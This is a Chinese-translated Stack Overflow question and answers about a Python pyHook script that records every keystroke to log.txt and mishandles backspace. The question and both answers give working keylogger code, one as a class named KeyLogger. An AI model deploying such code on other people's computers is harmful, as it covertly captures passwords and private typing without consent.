我的脚本不会删除最后一个字符

时间:2015-08-21 22:10:13

标签: python ascii backspace pyhook pythoncom

我有一个很长的剧本,所以我会总结一下。

LOG_TEXT是存储所有字符的地方,数据通过键击进行,因此每次用户在键盘上键入一个键时,它都会转到LOG_TEXT

最终,LOG_TEXT会在20秒后保存在log.txt中。

我的问题是,当我点击Back space时,它不会删除最后一个字符。

这就是我一直在尝试的:

import pythoncom, pyHook, os

def OnKeyboardEvent(event):
    global LOG_TEXT, LOG_FILE
    LOG_TEXT = ""
    LOG_FILE = open('log.txt', 'a')
    if event.Ascii == 8:  # If 'back space' was pressed
        LOG_TEXT = LOG_TEXT[:-1]  # Delete the last char
    elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
        LOG_TEXT += "\n"  # Drop the line
    else: 
        LOG_TEXT += str(chr(event.Ascii))  # Adds the chars to the log

    # Write to file
    LOG_FILE.write(LOG_TEXT)
    LOG_FILE.close()
    return True

LOG_FILE = open('log.txt', 'a')
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

还尝试过:

LOG_TEXT = LOG_TEXT[:-2]  # Delete the last char

LOG_TEXT += '\b'  # Delete the last char

任何解决方案/建议?

感谢帮助者:)

2 个答案:

答案 0 :(得分:0)

您无法在文件中写入退格键。 LOG_TEXT变量在每个键盘事件上都设置为空字符串,然后将其附加到文件中。对于退格键,您需要进行截断。

LOG_TEXT[:-1] # LOG_TEXT is an empty string, there's no 
              # last character to be removed.

相反:

def OnKeyboardEvent(event):
    LOG_FILE = open('log.txt', 'a')
    if event.Ascii == 8:  # If 'back space' was pressed
        pos = LOG_FILE.tell() - 1  # Get position we want to keep
        if pos >= 0:
            LOG_FILE.seek(pos) # move to after last character we want to save
            LOG_FILE.truncate(pos) # truncate file to pos
    elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
        LOG_FILE.write("\n")  # Drop the line
    else: 
        LOG_FILE.write(str(chr(event.Ascii)))  # Adds the chars to the log

    # Write to file
    LOG_FILE.close()
    return True

该文件被打开以追加,因此您不需要将所有内容保存在log_text变量中,否则您将追加的数量超出预期。

答案 1 :(得分:0)

你应该积累一个字符串,然后将其刷新到文件中(在某些事件上......如输入)

class KeyLogger:
    def __init__(self,logfile):
        self._file = open("logfile.txt","wb")
        self._txt = ""
        hm = pyHook.HookManager()
        hm.KeyDown = self.OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

    def OnKeyboardEvent(self,event):
        if event.Ascii == 8:  # If 'back space' was pressed
            self._txt = self._txt[:-1]
        elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
            self._txt += "\n"  # Drop the line
            self._file.write(self._txt) #flush line to file
            self._txt = "" #reset buffer for next line
        else: 
            self._txt += str(chr(event.Ascii))  # Adds the chars to the log

KeyLogger("logfile.txt")